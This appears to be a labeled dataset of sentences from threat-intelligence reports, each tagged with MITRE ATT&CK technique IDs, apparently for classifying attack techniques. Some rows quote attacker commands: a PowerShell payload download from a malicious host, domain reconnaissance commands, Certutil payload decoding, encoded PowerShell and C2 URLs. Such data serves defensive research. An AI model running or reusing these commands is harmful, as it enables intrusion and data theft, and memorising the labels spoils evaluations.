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Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have st... | ['T1068', 'T1203'] |
Some of the instances used in this script are: $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x' ($ENV:cOMsPEC[4,26,25]-jOin'') XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11 | ['T1573', 'T1027'] |
Specifies the screen coordinates to take -zip Name of password (from configuration data) protected zip archive -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration Data exfiltration Exfiltration is done through the bitsadmin.... | ['T1113', 'T1115', 'T1560', 'T1132', 'T1486'] |
SpyNote RAT is capable of performing a variety of alarming functions that includes: Activating the device’s microphone and listening to live conversations Executing commands on the device Copying files from the device to a Command & Control (C&C) center Recording screen captures Viewing contacts Reading SMS mess... | ['T1113', 'T1083', 'T1043'] |
Strings in the backdoor are encrypted using a custom algorithm that uses XOR with a 4-byte key | ['T1573', 'T1027'] |
Summary information for the three binaries we analyzed follows: MD5 364ff454dcf00420cff13a57bcb78467 SHA-256 8bca0031f3b691421cb15f9c6e71ce19335 5d2d8cf2b190438b6962761d0c6bb ssdeep 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi Size 141.2 KB (144560 bytes) Type ELF 64-b... | ['T1082', 'T1543.003', 'T1569.002'] |
System info: Computer name System info using: cmd /c systeminfo >%temp%\temp.ini List of currently running process using: cmd /c tasklist >%temp%\temp.ini Exfiltration The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern: From <COMPU... | ['T1082', 'T1074', 'T1057', 'T1486'] |
Team member or team identifier Analysis of the OwaAuth web shell revealed a PDB string with the "SyberSpace" username (see Figure 20) | ['T1033', 'T1505.003'] |
Techniques for Analysis When I was analyzing this sample, the malware was unable to connect to its C2. However, I was still able to analyze the network traffic of the sample. How, you might ask? Using a hex editor and a script I wrote to encrypt text using the algorithm that this sample uses, I encrypted my own C2 a... | ['T1573', 'T1132'] |
TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems | ['T1053.005', 'T1059'] |
TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1, which is a variation of a technique known as "parking." Other variations of parking point the IP address to Google's recursive name server 8.8.8.8, an address belonging to Confluence, or to other non-routable addres... | ['T1573', 'T1016'] |
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations, preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX | ['T1059', 'T1505.003'] |
The agent control panel has three tabs that have interfaces that allow the actor to issue commands, as well as upload and download files to and from the agent | ['T1543.001', 'T1105'] |
The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm ... | ['T1071', 'T1064'] |
The backdoors they are deploying are difficult to detect and a significant threat to the privacy and security of enterprises, allowing attackers to steal information, delete files, install malware, and more | ['T1518.001', 'T1070.004'] |
The C2 communications begins with a beacon to the following URL: hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)> If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL | ['T1033', 'T1571', 'T1008', 'T1043'] |
The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response | ['T1071', 'T1016'] |
The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office... | ['T1106', 'T1140', 'T1016'] |
The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute | ['T1016', 'T1059'] |
The configuration data used by the backdoor has the following structure: #pragma pack(push, 1) struct st_cncconfig { _WORD id; _BYTE byte2; _BYTE byte3; _QWORD pCnCBeg; _QWORD pCnCEnd; _QWORD pLastElement; }; #pragma pack(pop) To be able to enter the data into the database, Linux.BackDoor.Fysbis.1 converts ... | ['T1005', 'T1140', 'T1027.002', 'T1041', 'T1560', 'T1486'] |
The contents of the batch files vary depending on the OS (x64 vs x86). The batch files perform these tasks: Stop the service COMSysApp Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the s... | ['T1055', 'T1112', 'T1064', 'T1569.002'] |
The data dump included the 0000000000.bat file, which when executed on an infected system would run the following commands to gather information to be sent back to the C2 server: whoami hostname ipconfig /all net user /domain net group /domain net group “domain admins” /domain net group “Exchange Trusted Subsystem” /d... | ['T1069', 'T1087'] |
The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key | ['T1573', 'T1140', 'T1132'] |
The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware | ['T1547.009', 'T1105'] |
The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null | ['T1070.006', 'T1564.001', 'T1124'] |
The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively | ['T1027', 'T1132'] |
The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it | ['T1036', 'T1064'] |
The file is saved to: C:\Users\[Username]\AppData\Local\Temp\notepad.exe 00 00 04 Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad2.exe 00 00 05 The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\[Username]\AppData\Local\Temp\newnotepad.ex... | ['T1033', 'T1036', 'T1087', 'T1204'] |
The first email displays the following decoy document to the infected user and download the following payload:hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpgThe second email displays the following decoy document to the infected user and downloads the following payload:hxxp://acddesigns[.]com... | ['T1105', 'T1497'] |
The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to down... | ['T1064', 'T1027', 'T1105'] |
The following commands are available: Command SubCommand Description VER Generates the following IRC client command that will be sent to the C2 server: PRIVMSG <username> : 8 LED= 20160124 KILL Trojan disconnects from the IRC server and terminates itself RESET Trojan disconnects from the IRC server an... | ['T1106', 'T1010'] |
The following commands are supported by the malware: Command ID Description 00 00 00 Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad1.exe 00 00 01 Deletes the files: C:\Users\[Username]\AppData\Local\Temp\notepad.exe C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe 00 ... | ['T1033', 'T1204'] |
The following functions are called when the application attempts to initialize the menu:ETransaksi.Speed(); // Legitimate class, but method is the first wrapped function that leads to malicious code ProjectData.EndApp(); // Closes the application before rest of legitimate Sales System Application functions are called... | ['T1140', 'T1036', 'T1027.001', 'T1189'] |
The following graph view from IDA shows these steps.These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process | ['T1055', 'T1059'] |
The following HTTP request from the Helminth backdoor (SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script: GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1 Host: update-kernal[.]net Connection: Keep-Alive We performed a code comparison to visualize the ... | ['T1071', 'T1064'] |
The following screenshot shows the command execution functionality in action: Figure 4: Command Execution The paramString parameter shown in the above screenshot can be any command received from C&C | ['T1113', 'T1059'] |
The frequent checking ensures that any changes made will be quickly followed, and the repeated attempts to run the Revenge RAT binary make it almost certain that even if the process is terminated, the RAT will be running again soon | ['T1057', 'T1043'] |
The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt | ['T1070.006', 'T1140'] |
The function will take another executable embedded in the initial Trojan as a resource named “M”, which it attempts to inject into the following process to execute: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe While it’s configured to inject into cvtres.exe, the Trojan is also capable of injecting its code ... | ['T1055.012', 'T1055'] |
The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process | ['T1055', 'T1105'] |
The information gathered is added to a string in the following structure: <IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<“hybrid” mode flag from config>|<sleep interval from config>|<jitter value from config> The payload will base64 encode th... | ['T1033', 'T1016'] |
The last query is to the subdomain ihc[.]stage[.]12019683[.]ns2[.]true-deals[.]com): The delivered second stage shellcode is encrypted: METERPRETER: After decryption of the second stage shellcode, the shellcode deletes the ‘MZ’ prefix from within a very important part of the shellcode | ['T1064', 'T1027'] |
The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques: SHELLCODE: The shellcode phase of this attack is unique and demonstrates the constantly advancing abilities of attackers | ['T1064', 'T1059.001'] |
The loader’s main goal was to run a PowerShell command to execute shellcode | ['T1059', 'T1059.001'] |
The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below: Figure 1 Lure extracted from a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1 Figure 2 Lure extracted from 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a... | ['T1204', 'T1560'] |
The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:cmd.exe /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://lokipanelhostingpanel[.]gq/wo... | ['T1055.012', 'T1057'] |
The macro saves the chkSrv.vbs script to the system, which is responsible for running the IntelSecurityAssistManager.exe payload (OopsIE Trojan) and cleaning up the installation by deleting the two scheduled tasks, the Base.txt file, the ThreeDollars document, and the chkSrv.vbs script | ['T1053.005', 'T1070.004'] |
The main function of the dropper All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key | ['T1140', 'T1027'] |
The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL All the following capabilities described are implemented by the malicious service DLL implant unless specified. Variant using N... | ['T1055', 'T1574.002'] |
The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download): upload.bat, a batch script that the compromised machine will execute upload.rar, a RAR archive that contains at least two files: a batch script to ex... | ['T1064', 'T1105'] |
The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products: The presence of any process with the keywords “v3” and “cleaner.” Checking for antimalware or cleaner processes | ['T1562.001', 'T1057'] |
The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data:hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.phpMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.... | ['T1087', 'T1027'] |
The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive | ['T1053.005', 'T1547.001'] |
The OopsIE Trojan is configured to use a C2 server hosted at:www.msoffice365cdn[.]com The Trojan will construct specific URLs to communicate with the C2 server and parses the C2 server’s response looking for content within the tags <pre> and </pre> | ['T1071', 'T1573', 'T1102', 'T1041', 'T1008'] |
The paths discovered are: • C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd Leo, Poopak, Vendetta and Turk are the usernames of those creating... | ['T1033', 'T1005', 'T1087', 'T1204'] |
The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server. It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server, which are in ... | ['T1123', 'T1071', 'T1041', 'T1008'] |
The Payloads The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads | ['T1064', 'T1027'] |
The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code | ['T1106', 'T1140'] |
The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format: <session id>_<pre-shared key> To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL... | ['T1071', 'T1008'] |
The payload will use a specific regular expressions dependent on the type of DNS query was used to obtain the command string, which can be seen in Table 2: DNS TYPE Regex Pattern A Address:\s+(\d+.\d+.\d+.\d+) AC \d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.$Global:domain AAAA Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){... | ['T1071', 'T1016'] |
The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist ipconfig /all The attacker performed these two commands 33 seconds apart | ['T1573', 'T1059'] |
The PowerShell command decodes to the following:$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBl... | ['T1059.001'] |
The prior example decrypts to the following: mailto:121.126.211[.]94:8080;80;80 The following Python script may be used to decode the C2 data used by the newest Comnie variant: 12345678910111213141516171819202122232425262728293031323334353637383940 import base64import sysimport refrom string import maketransfro... | ['T1573', 'T1048', 'T1486'] |
The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0 | ['T1027.002', 'T1027'] |
The results of the decoded data may be seen below: Figure 13 Decrypted information The decrypted data contains URLs for various online services that will be used by the attacker for downloading data that will contain the command and control (C2) server(s) and port(s) to be used by Comnie | ['T1140', 'T1041', 'T1048'] |
The sample creates an array that contains the following strings for the Trojan to use as C2 locations: http://23.227.196[.]215/ http://apple-iclods[.]org/ http://apple-checker[.]org/ http://apple-uptoday[.]org/ http://apple-search[.]info Notice the last one is missing the trailing “/”, which causes an issue when the Tr... | ['T1071', 'T1008'] |
The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers | ['T1113', 'T1021.001', 'T1505.003'] |
The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request’s cookie in the PHPSESSID field, as seen in the example GET request: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK... | ['T1071', 'T1041', 'T1008'] |
The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script | ['T1036', 'T1064'] |
The SecurityAssist task is responsible for running the following command line command that uses the Certutil application to decode the base64 encoded data in Base.txt and saves the decoded data to the file %PROGRAMDATA%\IntelSecurityAssistManager.exe:cmd.exe /c Certutil -decode %appdata%\Base.txt %programdata%\IntelSec... | ['T1140', 'T1036'] |
These dropped files bundle functionality for both 64bit and 32bit Windows systems and are all located within one directory: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,amdhcp32.dll,54kb ← 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,atica... | ['T1055', 'T1574.001', 'T1218.011', 'T1574.002'] |
The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system | ['T1518.001', 'T1497'] |
The server-side component provides a simple graphical user interface for threat actors interacting with web shells | ['T1059', 'T1505.003'] |
These vulnerabilities include:CVE-2015-6585: Hangul Word Processor VulnerabilityCVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x VulnerabilityCVE-2016-0034: Microsoft Silverlight 5.1.41212.0 VulnerabilityCVE-2016-1019: Adobe Flash Player 21.0.0.197 VulnerabilityCVE-2016-4117: Adobe Flash Player 21.0.0.226 Vulnerab... | ['T1068', 'T1203'] |
The SHA256 hash is then base64 encoded, which results in an encoded string of EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=, of which the first 24 characters are used as the 3DES key | ['T1027', 'T1132'] |
The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We were not able to retrieve the shellcode hosted at this URL | ['T1071', 'T1064', 'T1059.001'] |
The source code only considers the following machine types:default: lpString = "(Other)"; break;case 0x02: lpString = "(Unknown)"; break;case 0x03: lpString = "(Desktop)"; break;case 0x04: lpString = "(Low Profile Desktop)"; break;case 0x06: lpString = "(Mini Tower)"; br... | ['T1008', 'T1124'] |
The started command will send the following information to the C&C: device_model: the model identifier (e.g.: MacBookPro9,2) bot_version: version of Keydnap build_name: the “build name” that was given by downloader os_version: OS X or macOS kernel version ip_address: external IP address as reported by ipify.org has_ro... | ['T1082', 'T1016'] |
The string “fjzmpcjvqp” is unique and not something likely to be present if the code was not generated with the same public POC exploit code | ['T1140', 'T1027.001'] |
The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!) Command ID Function Description 101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: “Mac OS X – [OSX version] x64<br>\nUser name – [username]... | ['T1070.006', 'T1071', 'T1106'] |
The threat actor’s main objective for using this RAT (known as Razy/NeD worm/Wonder Botnet) was obvious from the victim data that was collected – it was to search for specific file extensions such as PDF, DOC, DOCX, XLS, and XLSX, where they are compressed in RAR files per category, stored in temp directories within a ... | ['T1005', 'T1083', 'T1074'] |
The tool runs the following list of WMI queries: wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace wmic diskdrive get Model, SerialNumber wmic computersystem get Manufacturer, Model, Name, SystemTypec wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages wmic process get Ca... | ['T1047', 'T1057', 'T1041'] |
The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier> + “?supportTeamDrives=true&fields=modifiedTime” The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response... | ['T1070.006', 'T1074', 'T1547.009', 'T1105'] |
The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows: Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.... | ['T1070.006', 'T1124'] |
The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <first file identifier> + “?alt=media” With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows wh... | ['T1070.006', 'T1083', 'T1105'] |
The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the “open” function using the ShellExecuteW API function | ['T1106', 'T1140'] |
The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http:... | ['T1071', 'T1064'] |
The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\ v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the ba... | ['T1036', 'T1074', 'T1064'] |
The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands: systeminfo & tasklist The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php?res... | ['T1082', 'T1057', 'T1132'] |
The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance | ['T1036', 'T1102'] |
The White Atlas framework often utilized a small Javascript script to execute the malware dropper payload after it was decrypted by the VBA macro code, then to delete the dropper afterwards | ['T1070.004', 'T1064'] |
The x command treats the supplied data as a PowerShell script that it will write to the current PowerShell script (Office365DCOMCheck.ps1/SystemDiskClean.ps1), effectively overwriting the initial PowerShell script with a secondary payload script | ['T1064', 'T1059.001'] |
BE2 also uses start menu locations for persistence: UsersuserAppDataRoamingMicrosoftWindowsStart | ['T1007', 'T1036', 'T1074'] |
The “Excel” command receives another stage of the PowerShell code, saves it in “c:\programdata\a.ps1” and then asks Excel to execute this PowerShell script via DDE | ['T1059', 'T1059.001'] |
This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active | ['T1033', 'T1087'] |
This decrypted data is written to the following location: %TEMP%\WUpdate.~tmp This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path | ['T1140', 'T1074'] |
This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute | ['T1053.005', 'T1036'] |
This file is written to the following file path: % TEMP%\Update.~tmp After the file is written, it is then copied to a filename of ’winhelp.cpl’ in the directory that was initially chosen | ['T1070.006', 'T1036', 'T1074'] |
This has led it to do more, such as: Communication with more C&C servers – up to 16 P2P communication between infected nodes MAC address check - PlugX runs if the MAC address of an infected host coincides with configuration information in itself (If not specified in the configuration, PlugX runs on any host) | ['T1082', 'T1016'] |
This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to se... | ['T1598.002', 'T1087', 'T1204'] |
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